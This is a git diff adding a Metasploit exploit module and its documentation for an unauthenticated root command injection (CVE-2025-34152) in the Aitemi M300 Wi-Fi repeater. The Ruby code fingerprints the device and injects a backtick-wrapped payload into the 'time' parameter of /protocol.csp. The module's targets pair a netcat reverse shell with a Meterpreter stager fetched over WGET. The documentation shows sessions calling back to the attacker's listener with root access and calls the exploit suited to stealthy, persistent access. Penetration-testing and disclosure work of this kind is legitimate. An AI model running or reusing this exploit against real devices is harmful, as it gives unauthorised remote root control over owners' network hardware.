diff --git a/documentation/modules/exploit/linux/http/aitemi_m300_time_rce.md b/documentation/modules/exploit/linux/http/aitemi_m300_time_rce.md new file mode 100644 index 0000000000..1d6284d6de --- /dev/null +++ b/documentation/modules/exploit/linux/http/aitemi_m300_time_rce.md @@ -0,0 +1,125 @@ +## Vulnerable Application + +This Metasploit module exploits an **unauthenticated OS command injection** vulnerability +in the **Shenzhen Aitemi M300 Wi-Fi Repeater (hardware model MT02)**. + +The vulnerability exists in the `time` parameter of the `time_conf` function, accessible via the `/protocol.csp` endpoint. +When passed to the backend, the parameter is inserted directly into a `date -s` shell +command without sanitization, allowing arbitrary command execution as **root**. +The exploit does **not require authentication**, **does not reboot the device**, +and **does not affect network configuration**, making it suitable for stealthy, persistent access. + +The vulnerability is tracked as **CVE-2025-34152**. + +### Setup + +Purchase the vulnerable device here: +[https://www.aliexpress.us/item/3256806767641280.html](https://www.aliexpress.us/item/3256806767641280.html) + +Ensure the repeater is accessible via its management interface (typically `http://192.168.11.1` when connected locally via Wi-Fi). + +## Verification Steps + +1. Connect to the repeater's Wi-Fi and obtain its IP (usually `192.168.11.1`). +2. Launch **Metasploit Framework**. +3. Use the module: +``` +use exploit/linux/http/aitemi_m300_time_rce +``` +4. Set the target IP: +``` +set RHOSTS [TARGET_IP] +``` +5. Choose the appropriate target: +``` +set TARGET 0 # For simple reverse shell (netcat) +set TARGET 1 # For Meterpreter payload (may crash HTTP server) +``` +6. Execute the exploit: +``` +run +``` + +## Options + +None + +## Scenarios + +### Scenario 1 – Target 0: Unix Reverse Shell (netcat) + +```bash +msf6 exploit(linux/http/aitemi_m300_time_rce) > show targets + +Exploit targets: +================= + + Id Name + -- ---- +=> 0 Unix Command Shell (reverse_netcat) + 1 Linux Meterpreter MIPSBE (MAY crash HTTP worker) + + +msf6 exploit(linux/http/aitemi_m300_time_rce) > set payload cmd/unix/reverse_netcat +payload => cmd/unix/reverse_netcat +msf6 exploit(linux/http/aitemi_m300_time_rce) > run http://192.168.11.1 +[*] Started reverse TCP handler on 192.168.11.208:1337 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] Favicon hash matched – likely Aitemi M300 device +[+] HTTP server version matched: lighttpd/1.4.32 +[+] HTML fingerprint matched in home.html – UI strings detected +[+] The target is vulnerable. HTML language markers confirmed +[*] Command shell session 4 opened (192.168.11.208:1337 -> 192.168.11.1:58090) at 2025-08-07 01:02:06 +0200 + +id +uid=0(root) gid=0(root) +uname -a +Linux Srepeater 4.4.194 #0 Fri Jun 30 03:16:53 2023 mips GNU/Linux +ls -l +drwxr-xr-x 2 root root 775 Sep 25 23:32 bin +drwxr-xr-x 3 root root 860 Sep 25 23:32 dev +drwxrwxr-x 1 root root 0 Sep 25 23:33 etc +drwxr-xr-x 11 root root 441 Sep 25 23:32 lib +drwxr-xr-x 2 root root 0 Sep 25 23:32 media +drwxr-xr-x 2 root root 3 Sep 25 23:32 mnt +drwxr-xr-x 5 root root 0 Sep 25 23:32 overlay +dr-xr-xr-x 58 root root 0 Jan 1 1970 proc +drwxr-xr-x 17 root root 235 Sep 25 23:32 rom +drwxr-xr-x 2 root root 3 Sep 25 23:32 root +drwxrwxr-x 2 root root 707 Sep 25 23:32 sbin +dr-xr-xr-x 11 root root 0 Jan 1 1970 sys +drwxrwxrwt 16 root root 500 Sep 25 23:33 tmp +drwxr-xr-x 7 root root 89 Sep 25 23:32 usr +lrwxrwxrwx 1 root root 4 Sep 25 23:32 var -> /tmp +drwxr-xr-x 1 root root 0 Sep 25 23:32 webs +drwxr-xr-x 4 root root 67 Sep 25 23:32 www +``` + +### Scenario 2 – Target 1: Meterpreter MIPSBE Payload + +```bash +msf6 exploit(linux/http/aitemi_m300_time_rce) > set target 1 +target => 1 +msf6 exploit(linux/http/aitemi_m300_time_rce) > set payload cmd/linux/http/mipsbe/meterpreter/reverse_tcp +payload => cmd/linux/http/mipsbe/meterpreter/reverse_tcp +msf6 exploit(linux/http/aitemi_m300_time_rce) > run http://192.168.11.1 +[*] Started reverse TCP handler on 192.168.11.208:1337 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] Favicon hash matched – likely Aitemi M300 device +[+] HTTP server version matched: lighttpd/1.4.32 +[+] HTML fingerprint matched in home.html – UI strings detected +[+] The target is vulnerable. HTML language markers confirmed +[*] Sending stage (1358312 bytes) to 192.168.11.1 +[*] Meterpreter session 10 opened (192.168.11.208:1337 -> 192.168.11.1:41150) at 2025-08-07 01:12:10 +0200 + +meterpreter > sysinfo +Computer : Srepeater.lan +OS : (Linux 4.4.194) +Architecture : mips +BuildTuple : mips-linux-muslsf +Meterpreter : mipsbe/linux +meterpreter > getuid +Server username: root +meterpreter > +``` + diff --git a/modules/exploits/linux/http/aitemi_m300_time_rce.rb b/modules/exploits/linux/http/aitemi_m300_time_rce.rb new file mode 100644 index 0000000000..ac693c94e4 --- /dev/null +++ b/modules/exploits/linux/http/aitemi_m300_time_rce.rb @@ -0,0 +1,132 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'digest' + +class MetasploitModule < Msf::Exploit::Remote + Rank = GoodRanking + + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Shenzhen Aitemi M300 Wi-Fi Repeater Unauthenticated RCE (time param)', + 'Description' => %q{ + This module exploits an unauthenticated remote command injection vulnerability + in the Shenzhen Aitemi M300 Wi-Fi Repeater (hardware model MT02). The vulnerability + lies in the 'time' parameter of the time configuration endpoint, which is passed + unsanitized to a shell command executed via the `date -s` mechanism. The injection + executes with root privileges, without requiring authentication, reboot, or + network reconfiguration. + }, + 'Author' => [ + 'Valentin Lobstein' # Vulnerability discovery and Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['URL', 'https://chocapikk.com/posts/2025/when-a-wifi-name-gives-you-root-part-two/'], + ['CVE', '2025-34152'] + ], + 'Platform' => %(linux unix), + 'Arch' => [ARCH_CMD, ARCH_MIPSBE], + 'Payload' => { + 'BadChars' => "\x60" + }, + 'Targets' => [ + [ + 'Unix Command', + { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/unix/reverse_netcat' + } + } + ], + [ + 'Linux Meterpreter MIPSBE (MAY crash HTTP worker)', + { + 'Platform' => 'linux', + 'Arch' => [ARCH_CMD, ARCH_MIPSBE], + 'DefaultOptions' => { + 'FETCH_DELETE' => true, + 'FETCH_COMMAND' => 'WGET', + 'FETCH_WRITABLE_DIR' => '/tmp', + 'PAYLOAD' => 'cmd/linux/http/mipsbe/meterpreter/reverse_tcp' + } + } + ] + ], + 'DefaultTarget' => 0, + 'Privileged' => true, + 'DisclosureDate' => '2025-08-07', + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + end + + def check + fingerprint_hits = [] + + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'favicon.ico') + ) + + return CheckCode::Unknown('No response from target') unless res + return CheckCode::Safe('favicon.ico not found') unless res.code == 200 + + hash = Digest::SHA256.hexdigest(res.body) + if hash == 'eed1926b9b10ed9c54de6215dded343d066f7e447a7b62fe9700b7af4b34d8ee' + print_good('Favicon hash matched – likely Aitemi M300 device') + fingerprint_hits << 'favicon' + end + + server_header = res.headers['Server'] + if server_header&.start_with?('lighttpd/1.4.32') + print_good("HTTP server version matched: #{server_header}") + fingerprint_hits << 'httpd' + end + + %w[index.html home.html].each do |page| + res_html = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, page) + ) + + next unless res_html&.code == 200 + + if res_html.body.include?('langen.js') && res_html.body.include?('dw(TT_SetWifiExt)') + print_good("HTML fingerprint matched in #{page} – UI strings detected") + return CheckCode::Appears('HTML language markers confirmed') + end + end + + if fingerprint_hits.any? + return CheckCode::Detected("Partial match: #{fingerprint_hits.join(', ')}") + end + + CheckCode::Unknown('No identifiable fingerprint found') + end + + def exploit + raw_payload = "`#{payload.encoded}`" + encoded_payload = CGI.escape(raw_payload).gsub('+', '%20') + + send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'protocol.csp?'), + 'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8', + 'data' => "fname=system&opt=time_conf&function=set&time=#{encoded_payload}" + ) + end +end